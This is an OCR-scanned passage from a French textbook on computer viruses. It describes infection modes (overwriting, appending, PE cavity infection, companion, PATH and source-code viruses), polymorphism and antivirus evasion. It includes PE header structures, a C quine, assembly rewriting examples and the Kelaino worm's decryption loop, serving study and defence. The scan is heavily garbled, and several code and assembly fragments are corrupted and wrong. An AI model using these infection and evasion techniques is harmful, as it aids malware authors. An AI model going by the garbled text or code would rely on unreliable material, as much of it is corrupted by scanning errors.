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des binaires 32 bits Windows, en-tete ELF du format Linux, .... ), est alors absent (il est en fait remplace par le virus qui posscde son propre en-tete correspondant a son propre format). Le programme infecte ne pourra pas se lancer. C'est le type d'infection par ecrasement de code Ie plus frequent (voir figure 5.4) ; - le virus ecrase le code cible en partie centrale ou terminale, mais le virus doit installer une fonction de saut vers l'adresse de son propre code en debut du programme infecte s'il veut prendre la main avant le programme cible. Selon les cas, le programme cible ne se lancera pas (effet du a la fonction de saut qui ne restaure pas les octets initiaux de la cible en memoire ; aucun controle n'est redonne au programme cible) et /ou son execution avortera en cours de processus (le controle est redonne par le virus au programme cible mais une partie du code cible a ete ecrasee par le virus). Le but dans ce dernier cas est d'introduire une petite dose de furtivite : un debut d'execution normale suivi par un arret brusque sera susceptible dcvoqucr un probleme logiciel plutot qu'une attaque virale; - le virus remplace purement et simplement le code cible par son propre code. Cette technique est peu courante et surtout facilement detectable, puisque tous les executables infectes ont la memc taille, en l'absence de tout mecanisme de furtivite. Le lecteur trouvera un exemple de virus, ecrit en langage interprets Bash et fonctionnant sous Unix dans la section 8.3.1.



5.4.2 Virus par ajout de code Les virus fonctionnant selon ce mode vont accoler leur code a celui de la cible. II en resulte une augmentation de la taille du programme infecte, si aucune technique de furtivite n'est appliquee. Le virus a deux possibilites pour accoler son code : - soit en tete du code de la cible (type prepend ou ajout en position initiale). C'est le cas le moins frequemment realise car le plus delicat a realiser, notamment dans le cas des binaires de type EXE composes de plusieurs segments. Un ajout en tete du code necessite des recalculs d'adresses des donnees et instructions du programme legitime (ce recalcul est necessaire pour que la projection en mcmoire se deroule sans probleme). De plus, un deplacement du code cible est souvent necessaire (insertion du code viral entre les structures dexecntahle (en-tete dexecut.able) et le code cible nronrement dit. cas du virus SURIV). Cela se
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fait au prix d 'un nombre plus import ant de lectures / ecritures qui peut trahir l'activite de duplication vir ale ; - soit en fin du code de la cible (type append ou ajout en position termin ale). C'est le cas le plus frequ emrnent rencontre. Toutefois, comme le virus doit en general se lan cer en premier, il est necessaire de modifier legerement l'executabl e infect e. Les oct ets initi aux de la cible sont deplaces (par exemple memori ses dans la copie virale sur le disque) et remplaces par un e fonction de saut vers le code viral. Lors de la pro jection en memoire (execution de la cible infectee) , le virus est execute en premier, grace a cet te fonction de saut. II rest aure ensuite les octets d 'origine et transfere normalement le cont role au programme cible (figure 5.5).
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F IG . 5 .5. Infe ction par ajout de code (po sition t erminale)



5.4.3 Virus par ent relacement de code Ces virus exploite nt essentiellement le form at P E des execut ables 32 bit s de Windows (depuis la version Windows 95). Cet en-tete perm et , lors de la projection du code en memoire : - de donner les informations ad equates pour l'inst allation en memoir e (et ab lissement d 'une image memoire) ; - de permettre la mise en commun optimale pour plu sieur s pro cessus, de fichiers EXE et DLL. Toutes les donnees conte nues dans les structures de ce format sont etablies par le compilateur. La philosophie et les mecanismes de ce form at sont ext remement int eressants dans la mesure OU ce format se prete particulierement bien a l'ecriture de virus! Toute la nuissance de l'infect ion Dar cette catezorie de virus renose
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sur l'exploitation optimale de certaines caracte rist iques qui p ermettent au virus de se loger dans des espaces alloues mais par ti ellement inu tili ses (t echnique d 'entrelacement de code ou Hol e Cavity Infection) . Un fichier P E se
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FIG . 5.6 . Structure d 'un fichier executable P E



comp ose (voir figur e 5.6 ; pour plus de details voir [72] et [215, chap 42]) : - d 'un en-tete DOS qui permet de lancer le programme sous DOS et d 'afficher le message indiquant qu e l'application ne fonctionne qu e sous Windows :
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- de I'en-tete PE proprement dit. II comprend deux structures de donnees essentielles, rcnscignecs lors de la compilation et de I'edition dynamique, et indispensables au lancement correct de l'application : - l'IMAGE_FILE_HEADER donnee par typedef struct{ WORD Machine; /* type de processeur */ WORD NumberOfSection;/* nbre de sections du fichier*/ DWORD TimeDateStamp; /* Date-heure creation */ DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER - l'IMAGE_OPTIONAL_HEADER donnee par (seuls les champs pertinents pour nous sont donnes) typedef struct{ DWORD DWORD DWORD DWORD DWORD DWORD DWORD



SizeOfCode; SizeOfInitializedData; SizeOfUnInitializedData; AddressOfEntryPoint; BaseOfCode; BaseOfData; ImageBase; /* Adresse de chargement par defaut : Ox400000 pour les EXE */ DWORD SectionAlignment; DWORD FileAlignment; DWORD NumberOfRvaAndSizes; /* Nombre de sections qui suivent */ IMAGE_DATA_DIRECTORY DataDirectory[16] ; } IMAGE_OPTIONAL_HEADER - du dernier champ de la structure qui est un tableau de structures IMAGE_DATA_DIRECTORY indiquant l'adresse virtuelle relative et la taille de chaque section. Seules les NumberOfRvaAndSizes premieres entrees sont renseignees, les autres sont nulles; tvoedef struct{
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Taxonomie, techniques et outils DWORD VirtualAddress; /* Adresse RVA de debut de la section */ DWORD Size; /* Taille de la section en octets */



- de plusieurs sections (dont le nombre est contenu dans le champ NumberOfSection de l'IMAGE_FILE_HEADER). Ces sections correspondent au code proprement dit (section . txt), a differents types de variables (sections . data, bss) et a differentes autres donnees et informations indispensables. L'en-tete PE est suivi de la table des sections qui decrit les sections contenues dans le fichier. II s'agit d'un tableau de 16 elements. Seules les NumberOfRvaAndSizes premieres sont renseignees. Elles contiennent une structure IMAGE_SECTION_HEADER : typedef struct{ BYTE Name [8] ; /* Nom de la section */ DWORD VirtualSize; /* Taille de la section en octets */ DWORD VirtualAddress; /* Adresse RVA de debut de la section */ DWORD SizeOfRawData; /* Taille section arrondie a un multiple de 512 octets */ DWORD PointerToRawData; /* RVA de debut de la section dans Ie fichier */



Toutes les adresses contenues dans le format PE, qui referencent les differentes donnees et sections, sont en fait non pas des adresses absolues mais des adresses virtuelles relatives (RVA == Relative Virtual Address, en gros un offset par rapport au debut du fichier). Lors de la projection en memoire, grace a la fonction MapViewOfFile (), l'adresse en mcmoire des diflerentes sections est obtenue en ajoutant les RVA a l'ImageBase. La principale faiblesse de ce format est la granularite d'allocation lors de la compilation. Pour infecter par entrelacement de code sans provoquer d'augmentation de taille du fichier executable sur le disque, le virus va utiliser le champ SizeOfRawData de chaque IMAGE_SECTION_HEADER qui contient la taille de la section arrondie a un multiple pair de 512 octets. Si le code utile de cette section est. Dar exemnle, de 1 600 octets. la nlace disaue reellement
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reservee sera de 2 048 octets. II reste 448 octets inoccupes, disponibles pour le virus. L'en-tete PE contient toutes les donnees pour determiner ou se situent exactement ces zones inutilisees. Le virus doit donc s'installer dans les espaces alloues inutilement (voir figure 5.7) et met a jour un certain nombre de variables dans I'en-tete PE afin de respecter la coherence du fichier apres infection (en particulier, il faut que le virus puisse lui-meme etre projete en mcmoire pour agir, de la meme manierc que l'hote). Au total, les virus fonctionnant par entrelacement de code conjuguent les avantages des virus par ecrasement de code (pas d'augmentation de la taille du fichier) et par ajout de code (pas de perturbation du fonctionnement du code hate). L'exemple le plus celebre de virus fonctionnant selon ce mode est le virus CIH (encore appele Chernobyl) (pour une description detaillee voir [88]).



5.4.4 Virus par accompagnement de code Ce dernier mode est certainement le moins connu. Cependant, il est celui qui represente actuellement le plus grand defi, en matiere de lutte antiantivirale. L'approche est differente de celIe des trois modes decrits preccdemment. Ici, le code cible n'est pas altere, son intcgrite est respectee!". C'est l'une des raisons qui rendent ce mode d'infection particulierement interessant. Le principe general est le suivant (voir figure 5.8) : le code viral identifie une cible et duplique son code, non pas en I'inserant dans le code cible, mais en creant un fichier supplementaire (dans un repertoire eventuellement different) qui va « accompagner» la cible (dou le terme de virus compagnon). Lorsque l'utilisateur execute le programme cible infecte selon ce mode, la copie virale contenue dans ce fichier supplementaire est en realite executee en tout premier, permettant au virus de propager, selon le memc mode, l'infection. Ensuite, ce dernier execute lui-meme le programme cible legitime qu'il accompagne. Quels sont les differents mecanismcs possibles qui permettent a la copie virale de se lancer prioritairement? II en existe trois types principaux. - Le premier type est celui de l' execution preemptive ou hierarchisee. II consiste a exploiter une caracteristique particuliere du systeme d'exploitation considere, qui hierarchise I'execution des binaires. Le meilleur 16



II convient auparavant de definir ce que l'on entend par integrite d'un fichier (probleme general de I'integrite en cryptologie ; voir [173, chap. 9]). Nous verrons dans le chapitre 9 ce au'un veritable mecanisme d'intezrite do it nrendre en comnte.
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FIG. 5.7. Infection par cntrclaccmc nt de code (fichier PE)



exemple, et le plus connu, est celui du monde DOS . Pour ce systeme d 'exploitation, la hierarchic d 'execu tion est det ermines par la nature de l'extension du programme executable : les fichiers de type COM (execut ables ayant une structure sim ple et requer an t moin s d 'un segme nt memoire pour la projection en memoire , soit 64 Ko) sont lan ces avant les fichiers de tvn e EXE (executables nlus com plexes utilisant nlusieurs
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segments de memoire) , eux-memes priori taires sur les fichiers de commandes BAT. Si la cible est un fichier FILE . EXE (ces fichiers sont les plu s nombreux) , le viru s procedera a son infection en creant , dans le meme repertoire, un fichier FIL E. COM, qui de fait sera lan ce a sa place. De la rnerne mani ere, un fichier FILE . BAT ser a infecte par l'interrnediai re d 'un pro gramme FI LE. COM ou FIL E. EXE (dan s ce dernier cas, le virus pourra compr endre plu s de fonctionnalites qu 'un fichier de ty pe COM) . Cette technique utilis e don e simplement des caracterist iques speciales du systeme d 'exploitation et ne requiert au cune modifi cation de l'environnement. Notons qu e ces caracterist iques existent pour d 'au t res systemes d 'exploitation, notamment graphiques, comme Windows (u tilisation d 'icones transparent es ec/ ou chainees! " d 'extensions de ty pe executable naturellement invi sibles''f ....) et a ce titre, cette categoric par preemption cl'execution est tout a fait actuelle, merne si, de maniere surprenante, peu d 'exemples sont rencontres reellernent . Le second type exploite la hierarchic des chemins de recherche des executables. II est connu quelquefois sous le nom de virus de type PATH , cor17
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II est possible d' empiler des ic6ne s dont l'une est t rans parent e au sens propre du terme, ou d 'une tein te tres proche de l'icone cibl e originale. La prem iere icon e lan ce Ie viru s qui ensuite appellera Ie programme h6te soit directement , soit par l'in termediaire de la seconde ic6ne placee sous la premiere, sur Ie bureau . Une aut re te chnique cons ist e a cree r un e icon o supplem entaire, « virale » et de la cha iner avec l'icon e de la cib le (ho te) en la faisant pointer sur cet t e derniere, Cette derniere appro che est cependant moins dis crete que la premiere. A ce propos, Ie lect eur lira l'article t res in teressan t de Floydrnan disponible sur Ie C O RO M.
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Taxonomie, techniques et outils respondant a celui de la variable d'environnement d'Unix du memc nom (mais d'autres systemes d'exploitation sont concemes). Cette variable permet d'indiquer les repertoires d'execution possibles. Cette facilite epargne a l'utilisateur de preciser le chemin absolu dans l'arborescence, d'un fichier executable. II suffit juste de lui indiquer OU rechercher tout executable lance. Le systeme parcourt, dans l 'ordre, tous les repertoires contenus dans cette variable et regarde si l'un d'entre eux contient I'exocutable demande. Le virus va alors proceder a l'infection par creation d'un fichier supplementaire, de meme nom, mais place dans un repertoire qui sera, dans la variable d'environnement de localisation des executables (variable PATH sous Unix, par exemple), en amont du repertoire du programme legitime (sous reserve de posseder les droits en ecriture}, Le code viral sera, en consequence, execute en premier. En general, le virus modifie egalement la variable PATH, comme nous le verrons en detail dans le chapitre 9, ce qui fait des virus compagnons de type PATH un type a part, dans la mesure OU il y a modification (event.uelle) de l'environnement par le virus contrairement a ce qui se passe dans le premier type. Une autre solution!" consiste non pas a court-circuiter la variable PATH mais plutot les structures decrivant l'organisation des fichiers sur le disque (par exemple la table d 'allocation des fichiers (FAT/FAT32) sous DOS /Windows). Ces structures de listes chainees permettent au systcme d'exploitation de savoir OU se trouve l'image, sur le disque dur, du fichier a projeter en memoirc. Ainsi, son point d'entree dans cette structure est l'adresse du premier cluster (ensemble de plusieurs secteurs). La structure de liste chainee 20 permet ensuite de determiner l'emplacement des autres clusters OU se trouve le reste du fichier. Le virus va donc remplacer dans la structure, apres l'avoir memorisee, l'adresse du premier cluster correspondant au fichier cible, par celle du premier cluster correspondant au fichier viral. Lors du lancement, le systeme d'exploitation charge le fichier viral (la correspondance nom du fichier - adresse du premier cluster se fait grace a des structures associees a la FAT), lequel, ensuite transfere le controle au programme cible en utilisant l'adresse de premier cluster mcmorisce lors de l'infection.
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Les virus appartenant a cette classe sont improprement appelcs virus de FAT. Or la FAT n'est que le medium d'infection, pas la cible. Une structure de liste chaines est une liste d'element, chacun de ces elements contenant un nointeur sur I'element suivant.



5.4 Les modes d'action des virus



141



- Le troisicme type est le plus independant du systeme d'exploitation (aux droits sur les fichiers pres). C'est celui que nous exposerons en detail dans le chapitre 9. Le principe en est extrernement simple. Une fois une cible identifies, le virus la renomme en prescrvant toutefois ses droits en execution (au moins temporairement). Le virus ensuite se copie en lieu et place du programme attaque. Nous avons donc toujours deux programmes. A I'cxecution du programme cible, le virus est lance en premier, propage si cela est possible l'infection, puis finalement execute le programme appele, qu'il avait rcnomme. Bien evidemment, un certain nombre dinconvcnicnts sont a prendre en compte (probleme de taille identique de tous les programmes infectes, multiplication du nombre des fichiers ... ). Nous detaillerons, dans le chapitre 9, l'algorithmique virale de base des virus compagnons, permettant de s'affranchir de toutes ces contraintes. Le lecteur pourra egalement consulter [112] dans lequel est presente l'algorithmique des virus compagnons pour Mac as x.



5.4.5 Virus de code source Les virus en code source constituent une categorie a part. Malgr« tout, il s'agit bien d'un mode d'infection, concernant un virus ou un ver. En outre, dans le cas des langages interpretes (voir chapitre 8), la notion de virus de code source se confond avec celle de virus. Le principe en est tres simple. Le virus ou le ver, sous forme executable, duplique son code mais contrairement aux quatre modes precedents, la cible est le code source d'un programme et le code duplique est le source du virus. Le programme ainsi infecte doit donc etre recompile afin de produire un executable valide. La duplication du code, en fait, correspond aux Quine, presentee dans la section 2.2.4. La figure 5.9 illustre le fonctionnement de ces virus. La simple duplication du code ne suffit pas, toutefois, a realiser un tel virus. Une rapide analyse du code source infecte pourrait trahir la presence du virus (meme si, dans un programme comptant plusieurs milliers de lignes de code, cette analyse est rarement effectuee par l'utilisateur). II faut donc dupliquer le code source, en utilisant des mecanismcs plus evolues. L'interet et la puissance des virus de code source viennent du fait que I'executable produit presente une homogeneite parfaite, contrairement aux autres modes d'infection, OU le code binaire est modifie cxtcricurcmcnt. D'autre part, ces virus offrent des possibilites extrernement importantes de contournement de toutes les techniaues de lutte anti-virale. meme dans le
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FIG. 5.9. Infe ction de code sou rce



cadre du controle d 'integrite. De nombreuses experiences l'ont clairement prouve. Un au tre avantage des virus de cet te categoric est la possibilite d 'infe cter des machin es dont l'environnement informatique n 'est pas connu (typ e de systeme d 'exploitation en particulier) . Un attaquant pourra juste supposer qu e sa victime utili se un compilateur conforme a un e norme donnee et larg ement repandue (norme ANSI par exemple pour le lang age C). Le lecteur pourra objecter que les codes sourc e, notamment ceux offerts en telecharg ement , peuvent et re proteges par un code d 'int egrite. Tou t e tentative de modification du fichier ser a alors detectee lors du recalcul du code d 'integrite. Cela est exact, la fonction MD5 [194] etant la plu s utili see (toutefois, dans la grande majorite des cas , au cun code d 'in tegrite n 'est utilise !). Mais plu sieurs argument s permettent de forte ment met tre en dou t e l'efficacit e des telles fonctions , et de MD5, en particulie r : si l'attaquant parvient a infecter un code sour ce (directement par intrusion dans le systerne ou indirect ement via un processus d 'in fection lan ce par la victime) , il parviendra sans probleme a recalculer une nou velle empreinte numerique et ala substituer a l'ancienne/! ; la securite de cert aines fonctions d 'int egrit e peut et re mise en doute. La fonction MD5, la plus utilisee, a vu sa securite largement amoindr ie en 1996 par H. Dobbertin [73]. Ce derni er , lors d 'une rencontre avec 21



Cela cst plus difficile si les empre inte s son t pro tegees (chiffrees par exemple). Mais des t echniques virales permettent toutefois d 'y par venir, notamment grace aux virus binaires (voir Ie chanit re 16).
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l'auteur en 1998, estimait que la cryptanalyse complete de MD5 ri'etait plus qu'une question de temps, en generalisant sa propre technique mise au point pour la cryptanalyse operaiionnelie de la fonction dintegrite MD4, dont MD5 reprend la philosophie generale. Cette hypothese a ete confirmee en aout 2004 avec la publication de collisions pour la version complete non seulement de MD5 mais egalement d'autres fonctions de hachage comme HAVAL-128 et RIPEMD [223]. Cette confirmation montre, etant donne le large usage de MD5, comme fonction d'integrite 22 , que la corruption de fichier source devient facile. Le principe general de l'infection des codes source par un virus est le suivant : 1. Le virus cree un fichier virus. h (il portera bien evidemment un autre nom - voir plus loin - dans la realite) contenant le code source proprement dit du virus. Ce fichier comporte deux parties: le code du virus qui devra etre compile, et le meme code contenu dans un tableau de caracteres. Un bon exemple est le code du Quine suivant, ecrit par Daniel Martin (voir egalement la section 2.2.4). Le code, qui doit etre ecrit sur une seule ligne, a ici ete scinde en plusieurs pour la mise en page:



#include char a[] = "\";\nmain() {char *b=a;printf(\"#include\\nchar a[] = \\\"\");\nfor(;*b;b++) {switch(*b){ case '\\n': printf(\"\\\\n\"); break;\ncase '\\\\':case ,\\\"': putchar('\\\\'); default: putchar(*b);}} printf (a);}\n";main() {char *b=a;printf("#include\n char a[] = \"");for(;*b;b++) {switch(*b){case '\n': printf("\\n"); break;case '\\': case ,\"': putchar('\ \'); default: putchar(*b);}} printf(a);} La creation d'un programme autoreproducteur de type Quine devient assez complexe lorsqu'il dcpassc quelques dizaines d'octets, ce qui est le cas pour les virus en code source. Une technique assez puissante a ete dcvcloppec par M. Ludwig [167, chap. 13]. Le fichier ainsi cree sera bien sur dissimule le mieux possible pour ne pas risquer une detection par un simple listage de repertoire. 2. Le virus infecte ensuite les fichiers source cibles selon deux etapes : a) insertion d'une directive d'inclusion du type #include "virus.h". Une technique interessante consiste, par exemple, sous Unix, a creer 22



II est d'ailleurs plus que surprenant que les resultats partiels de H. Dobbertin sur MD5 n'aient pas provoque l'abandon de cette fonction. Des cryptanalyses plus contestables en termes de realisme, ont conduit souvent plus rapidement a jeter l'opprobre sur des svstemes de chiffrement aui. Dar ailleurs. offraient une securit.e nlus ou'accentable.
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Taxonomie, techniques et outils un fichier source viral portant le nom de . stdio . h (fichier cache) et de remplacer la directive d'un fichier source cible #include par #include ". stdio. h". Cette solution, qui peut etre encore largement amelioree, est deja plus difficile a detecter (souvent parce que la lecture du code source neglige une lecture soigneuse des en-tetes de programmes) ; b) insertion dans le code source du programme cible (le mieux est de le faire en noyant cela dans des zones de commentaires) d'une ou plusieurs directives d'appel au virus.



3. Accessoirement, le virus peut finalement proceder lui-meme a la compilation du fichier source infecte pour produire directement un code binaire infecte. Seul, ou en liaison avec un autre virus (cas des virus binaires), il pourra egalement manipuler les codes dintegrite et./ou les dates de derniere modification et d'acces du fichier. Le lecteur consultera [77] pour un exemple de virus en code source. Une remarque interessante, egalement soulignee dans [77], montre que le fait de disposer des codes source (argument souvent mis en avant en faveur des 10giciels libres 23 ) n'est que partiellement une garantie de securite. En premier lieu, qui lit reellement un code source comptant plusieurs milliers ou dizaines de milliers de lignes, surtout quand le code est difficilement lisible (voir sur www. ioccc. org, ce que cela peut donner en langage C)? Ensuite, l'infection peut tres bien etre le fait direct du compilateur (voir l'article edifiant de K. Thompson [217]). Seule la production controlee de I'executable du compilateur, a partir d'un code source sur, est acceptable si l'on veut avoir presque toutes les garanties. Presque, car les fonctionnalites decrites par K. Thompson pourront tres bien etre implementees directement au niveau du processeur.



5.4.6 Les techniques anti-antivirales Les techniques anti-antivirales dcveloppccs par les diverses infections informatiques illustrent parfaitement la problematique generale contenue dans le terme securite/" : 23 24



L'auteur est d'ailleurs un ardent defenseur de ces logiciels. Le terme de surete, quant a lui, est generalement reserve pour designer les mesures techniques destinees a lutter contre les attaques non malveillantes, c'est-a-dire ne s'adaptant pas aux protections qui peuvent leur etre opposecs : pannes, bruit lors d'une transmission, taux de rayures sur un CDROM ... ; ces phenomenes sont gouvcrncs par une loi statistiaue aui ne chance nas lorsau'une nrotection est mise en nlace.
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Definition 52 Securiie : ensemble des mesures et techniques destinees a contrer les actions malveillantes contre un susteme, actions dont la nature propre est de s 'adapter aux protections qui lui sont opposees. Dans le cadre de la lutte antivirale, il est alors parfaitement logique que les virus, vers ou autres infections informatiques, developpent des capacites adaptecs a contrer et a defaire les protections mises en place par les logiciels anti-virus ou les pare-feux. Deux grandes techniques sont rencontrees : - La furtivite.- II s'agit d'un ensemble de techniques visant a leurrer l'utilisateur, le systeme et les logiciels de protection afin de faire croire a l'absence d'un code malveillant, en le rendant hors de portce de la surveillance. Ce resultat peut etre obtenu par dissimulation dans des secteurs clefs (secteurs declares faussement defectueux, zones non utilisees par le systeme d'exploitation... ), leurrage de structures particulieres (table d'allocation des fichiers) ou de fonctions ou de res sources logicielles du systeme (detournement ou deroutement d'interruptions, d' API Windows 25 ... ). Dans certains cas, le virus peut se desinfecter totalement ou partiellement apros l'action de la charge finale, diminuant ainsi le risque de detection (notamment, dans le cas des virus dits binaires; voir un exemple detaille dans le chapitre 16). - Le polymorphisme.- Les antivirus fonctionnant en grande partie, entre autres techniques, sur la recherche de signatures virales, le but du polymorphisme est de faire varier, de copie en copie virale, tout element fixe pouvant etre exploite par l'antivirus pour identifier le virus (ensemble d'instructions, chaine de caracteres particulieres ... ). Les techniques polymorphes sont assez complexes a mettre en oeuvre. Les deux principales sont les suivantes : - Rcecriturc de code par utilisation de code equivalent. Par exemple, une structure de controle en langage C 26 if(flag) infection(); else charge_finale(); peut etre modifiee par une structure equivalents mais de forme differente (flag)?infection():charge_finale(); 25



26



Les API (Application Programming Interface) sont des modules dormant acces a des informations ou a des fonctions directement integrees au systeme d'exploitation. Cet exemple n'est pertinent que pour un virus en code source, le compilateur produisant le meme code binaire. II est utilise a titre pedagogique, II est clair que la modification de code n'a de validite que si l'analyse antivirale ne porte que sur un code de meme nature et forme.
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Autre exemple, le code de dechiffrement suivant en langage assembleur : loc_401010: cmp ecx, 0 jz short loc 40101C sub byte ptr [eaxJ, 30h inc eax dec ecx jmp short loc 401010 peut etre reecrit de la manierc equivalents suivante : loc_401010: cmp ecx, 0 jz short loc 40101C add byte ptr [eaxJ, sub byte ptr [eaxJ, 30h sub byte ptr [eaxJ, inc eax dec ecx jmp short loc 401010 Si la premiere version de code constitue la signature, la seconde ne sera pas detectee, Cette reccriturc de code peut egalement se faire en inserant, a des endroits aleatoires, des instructions elles-memes aleatoires, sans effete Ainsi, dans le code precedent, l'insertion de la commande or eax, eax ou de la commande add eax 0, apres l'instruction inc eax, modifie bien le code, pour une action identique. Ces exemples simples, utilises pour faciliter la comprehension du lecteur, peuvent devenir extremement complexes au point que l'analyse du code, en particulier par des antivirus (etude proprement dite, analyse heuristique ou emulation de code) devient impossible. Le meilleur exemple est celui du code binaire des BIOS dont une grande partie des instructions sert precisement a en interdire l'analysc". Utilisation de techniques de chiffrement basique sur tout ou partie du virus ou du ver. En general, il s'agit plut6t d'un procede de masquage 27



Dans ce cas precis, comme pour beaucoup de logiciels proteges, il s'agit soit de protcger un savoir-faire, soit d'interdire le piratage. Ces techniques de protection de logiciels utilisent :
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par une addition modulo 2 (XOR) avec une valeur constante. L'usage d'un veritable chiffrement necessite une clef qui pourrait, mal implementee, constituer une signature. Cependant, l'usage de systemes de chiffrement modernes (par exemple avec RC4 [197]) constitue une perspective tres interessante dans le cadre de la lutte anti-antivirale. Reccmmcnt, le ver W32/Sobig.F a utilise un chiffrement, semble-t-il, plus evolue, qui a pose plus de problemes que les procedes classiques utilises jusque-Ia. Le code viral debute par une procedure, en clair, dont la fonction est de « dechiffrer » le corps principal viral avant son execution. II est alors necessaire, lors du processus d'infection, de changer, a chaque fois, la procedure de dechiffrement (comme elle est en clair, elle peut etre utilisee par l'antivirus) et donc de facon correspondante la procedure de chiffrement. Toutefois, dans la plupart des cas, la procedure de chiffrement reste la memc. Seuls quelques virus et vers tres evolues font varier veritablement la procedure de chiffrement a chaque infection. A titre d'exemple, considerons le cas du ver K elaino (le lecteur est invite a lire l'article passionnant de N. Brulez [36], duquel cet exemple est tire). Une partie de son code (la section des donnees) est chiffree par une simple addition avec la valeur constante 30H. Precisons que ce type de chiffrement ne resiste pas tres longtemps a l'analyse. Le code brut (avant dechiffrement) est le suivant : DATA:00402799 aVvqajprXSsuqrp db 'v6-C~jPR{oc~Offi-CRPl ¢oc~Offi-Cp~066-Cu-Cufi~6-C~n=:aNmtio6fijPac~loP}ouu'



DATA: 00402799
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DATA: 00402799
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- l'obfuscation (par multiplication des instructions a des fins de leurrage, voir [37]; ou bien par I'ecriture d'un code le plus incomprehensible possible, voir par exemple, dans le cas du langage C, le site www. ioccc . org), - la compression, - le chiffrement. II est assez amusant de constater que ces techniques de protection ont ete em pruntees a certains virus dont les createurs sont les premiers ales avoir imaginees et utilisees. Le meilleur exemple, et le plus celebre, est certainement celui du virus Whale. Un exemple est nresente dans f381.
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Apres dechiffrement, cela donne: DATA:00402799 aFromKelainoKel db 'From: "Kelaino" ',ODh,OAh DATA: 00402799 db 'Subject: Slave Message',ODh,OAh DATA: 00402799 db 'MIME-Version: 1.0',ODh,OAh DATA: 00402799 db 'Content-Type: multipart/mixed;',ODh,OAh DATA: 00402799 db ' boundary= "----=_NextPart 000_0005_01BDE2EC.8B286COO'" DATA: 00402799 db ODh,OAh La procedure de dechiffrement (version commcntce par N. Brulez), au debut du code viral, etait : 00401000 start proc near 00401000 mov ecx, addr_fin_data ECX = Adresse de la fin des data 00401005 sub ecx, addr_deb_data ECX = 402D5D 402000 = taille des data. 0040100B mov eax, 402000h EAX = adresse du debut des data 00401010 00401010 boucle_decrypte: CODE XREF: start+1A~Yj 00401010 ecx, 0 cmp ECX sert de compteur. short decryptage_termine 00401013 jz tant ecx != 0 on boucle. sub byte ptr [eax] , 30h 00401015 on soustrait 30h a l'octet pointe par EAX inc eax 00401018 on passe au prochain octet a decrypter dec ecx 00401019 on decremente Ie compteur jmp short boucle_decrypte 0040101A on boucle tant aue ECX est different de 0



5.5 Classification des virus et des vers



149



A cote de ces deux techniques anti-antivirales, il en existe d'autres, que l'on pourrait qualifier d'actives : - mise en sommeil des logiciels de protection (bascule du mode de protection dynamique en mode statique de l'antivirus, modification des regles de filtrage d'un pare-feu... ). A titre d'exemple, le ver W32/Klez.H tente de desactiver un grand nombre d'antivirus en tuant environ cinquante processus et en effacant dix fichiers utilises par certains de ces derniers. Le ver W32/Bugbear-A, quant a lui, visait de la memc manierc plus d'une centaine de logiciels de securite (antivirus, pare-feux, nettoyeurs de chevaux de Troie... ) ; - repression de ces logiciels par une action directe et agressive visant a les perturber, ales saturer... en vue d'en ernpecher le fonctionnement normal; - desinstallation pure et simple de ces logiciels (voir egalement le chapitre 11 dans le cas du ver Agobot). Le lecteur pourra consulter [104] dans lequel ces techniques de lutte antiantivirale sont presentees en detail.



5.5 Classification des virus et des vers La classification des virus et des vers n'est pas chose simple. A l'origine, les choses etaient claires et faire la difference entre deux types de virus, entre un virus et un ver, etait chose facile. A l'heure actuelle, face a la tendance des programmeurs de virus de combiner plusieurs techniques et types, toute tentative de classification devient difficile voire artificielle. II en resulte que les statistiques fournies doivent etre soigneusement interpretees et analysces. Ainsi, le ver Melissa est a la fois un ver et un virus et certains specialistes le recensent comme virus. Le ver Nimda est a la fois un virus, un ver et un cheval de Troie [28]. Or, il est generalement comptabilise seulement dans la categoric des verso La classification des vers n'est done pas aisee.



5.5.1 Nomenclature des virus II existe differentes manicres de classer les virus, toutes privilegiant tel aspect ou tel autre, parfois avec des recouvrements : - selon le format vise: virus d'executables ou de documents; - selon l'organe cible : virus de secteur de boot, de pilotes de peripheriques ... - selon le langage de programmation : virus en assembleur, virus de code source. virus en laneaae internrete...
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selon le comportement: virus blindes, virus lents ou rapides, retrovirus, virus residents, virus polymorphes ou furtifs ... - selon la nature de la charge finale: virus espions, virus destructeurs ... - selon le mode de fonctionnement : virus binaires, virus psychologiques .... II existe, par consequent, une grande varietc de virus, que nous allons passer maintenant en revue. La classification que nous avons retenue, plut6t fonctionnelle, n'est peut-ctrc pas la plus utilisee mais elle permet de mieux prendre en compte un certain nombre de virus que les nomenclatures habituelles ne traitent jamais. De plus, elle permet de mieux evitcr les recouvrements entre les differentes classes. Nous n'avons pas retenu les denominations de virus furtifs ou de virus polymorphes. Dans ces deux cas, il s'agit de techniques de lutte anti-antivirale, non specifique a tel ou tel virus ou ver (voir la section 5.4.6). Enfin, seule une description, quelquefois detaillee, sera donnee ici pour les categories de virus considcrecs/".



Virus dexecutables Les virus d'executables sont les premiers types de virus connus. L'infection concerne une cible binaire a partir d'un fichier binaire infecte, II s'agit donc de mecanismcs de bas-niveau qui obligent, en regIe generale, a utiliser l'assembleur. Les differents mecanismcs d'infection proprement dits ont ete decrits dans la section 5.4. Les mecanismcs d'action virale, dans ce cas, sont egalement fortement determines par le format de I'executable cible. Ces differents formats decrivent la manierc dont le code binaire (instructions et donnees) est organise et comment doit s'effectuer la projection des donnees. Les principaux sont les suivants : - executables *. COM. D'une taille inferieure a 64 Ko (un seul segment memoire au plus, autrement dit les valeurs des registres de segment de code (CS), de donnees (DS), de pile (SS) et le registre supplementaire ES sont les memes), la structure consideree est le Program Segment Prefix (PSP) d'une taille de 256 bits (cette structure est attribuee en mcmoire 28



Comme cela a ete evoque dans la preface de ce livre, la plupart des virus succinctement presentes ici, seront decrits en detail dans la suite du present ouvrage et intitulee Techniques virales auasicecs, a travers l'etude du code d'un representant illustratif de chaque categoric. Le propos du present livre, rappelons-le, est une introduction aux virus et a leur alcorithrnione de base.
